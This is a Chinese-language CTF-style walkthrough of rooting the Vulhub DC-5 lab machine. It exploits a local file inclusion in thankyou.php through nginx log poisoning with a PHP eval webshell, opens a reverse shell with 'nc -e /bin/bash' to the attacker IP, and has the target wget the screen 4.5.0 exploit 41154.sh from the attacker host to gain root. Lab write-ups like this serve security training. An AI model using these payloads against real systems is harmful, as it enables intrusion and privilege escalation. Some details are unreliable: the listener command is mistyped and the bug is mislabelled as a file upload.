STATEMENT
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
环境
Vulhub DC-5靶机,vmware环境,kali虚拟机一台(ip为192.168.8.245)
复现过程
攻击机:kali 192.168.11.143
靶机:Linux IP自动获取
攻击机与靶机都使用net网络连接,在同一网段下
环境配置:
1、Vulhub下载靶机,并导入vmware
2、网络配置中选择更改为桥接模式,桥接至kali所在网卡(这里是eth0)
3、重启虚拟机
信息收集:
先进行主机发现
arp-scan -l
后面标识VMware的即为目标
先进行nmap端口扫描
80,111端口服务开启
先访问 http://192.168.8.243
界面的信息略过,发现在contact.php界面有留言功能
先尝试下xss注入,没什么结果
<scRipt>alert('Xss')</scriPt>
在尝试这几个聊天框的时候发现CopyRight的年份一直在变化。F5刷新几次,仍在刷新说明和上传了留言无关,是其中的copyright自己在变化。
返回路径contactus,多次刷新,copyright并没有发生变化。
说明问题出在thankyou.php中。
dirsearch扫一下目录
dirsearch -u [http://192.168.8.243](http://192.168.8.243)
/images路径 403,只有footer.php可以访问。
同时刷新会产生变化,这一点与前面提交留言后,弹出的/thankyou.php路径下的CopyRight一直变化是一致的。
可以猜测是页面/thankyou.php 中存在文件包含,包含了页面footer.php.
漏洞利用
先尝试 payload file=/etc/passwd
既然可以读取密码文件,那也可以读取日志文件,方便我们读取木马
footer.php界面出现了passwd数据,证明这里存在文件上传漏洞
但目前没有找到login界面,先上传一句话木马
<?php @eval($_POST['shell']);?>
返回200,注入已经成功了,但目前我们不知道其路径,还不能利用
这里可以利用系统工作日志
从之前nmap上获得了目标的中间件信息,网上搜到该版本的日志路径
/var/log/nginx/access.log
传入日志,发现之前的注入记录,包含木马在内都显示了出来
phpinfo()界面
蚁剑连接木马
URL为:
http://192.168.8.243/thankyou.php?file=/var/log/nginx/access.log
连接一句话木马,获得 www-data权限
提权
拿到普通用户就要开始想办法提权了
反弹shell
kali的IP为 192.168.8.245
1、在kali中开启监听
nv -lvvp 8888
2、在webshell中 开启反向连接
nc -e /bin/bash 192.168.8.245 8888
3、连接成功,由此建立了kali至目标主机的长期连接
4、查找suid权限用户,尝试提权
find / -perm -4000 2>/dev/null
查找系统所有文件中拥有suid特殊权限的文件 -perm匹配权限4000.
错误信息返回至 /dev/null
5、在kali中另起控制台,寻找能利用的点
searchsploit xxx
6、尝试过后,screen 4.5.0有能够利用的exp,是一个本地提权漏洞
searchsploit screen 4.5.0
GNU Screen是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话,并在其间自由切换。GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能。
7、上传脚本文件
上传41154.sh脚本文件到目标靶机;本地开启8888端口,使用wget下载该脚本文件:
Kali
cp /usr/share/exploitdb/exploits/linux/local/41154.sh ./41154.sh
cat 41154.sh# 在哪个目录运行该命令,就会列出哪个目录的文件
python -m http.server 8888
目标主机
wget [http://192.168.8.245/41154.sh](http://192.168.8.245/41154.sh)
使用蚁剑wget
8、执行脚本文件
chmod 777 41154.sh
./41154.sh
文件编译错误
9、报错,经查验 是这个exp文件有问题,按照区块的EOF提示符拆分脚本。
(1)vi libhax.c
(2)vi rootshell.c
(3)vi run.sh
编译文件
gcc -fPIC -shared -ldl -o libhax.so libhax.c
gcc -o rootshell rootshell.c
10.重新上传
通过wget上传三个文件
11、为run.sh赋予权限并运行,获得root权限
chmod 777 run.sh
./run.sh
whoami
12、root目录下取得flag
cd /root
ls
提权
文件包含漏洞产生的原因有 :
1.程序用include()等文件包含函数通过动态变量的范式引入需要包含的文件
2.用户能够控制该动态变量
任何引入外部文件的地方都有可能存在文件包含漏洞,要仔细观察。
限制用户的输入是确保安全的前提。
根据泄露出的版本寻找对应版本的日志位置、漏洞。
安恒信息
✦
杭州亚运会网络安全服务官方合作伙伴
成都大运会网络信息安全类官方赞助商
武汉军运会、北京一带一路峰会
青岛上合峰会、上海进博会
厦门金砖峰会、G20杭州峰会
支撑单位北京奥运会等近百场国家级
重大活动网络安保支撑单位
END
长按识别二维码关注我们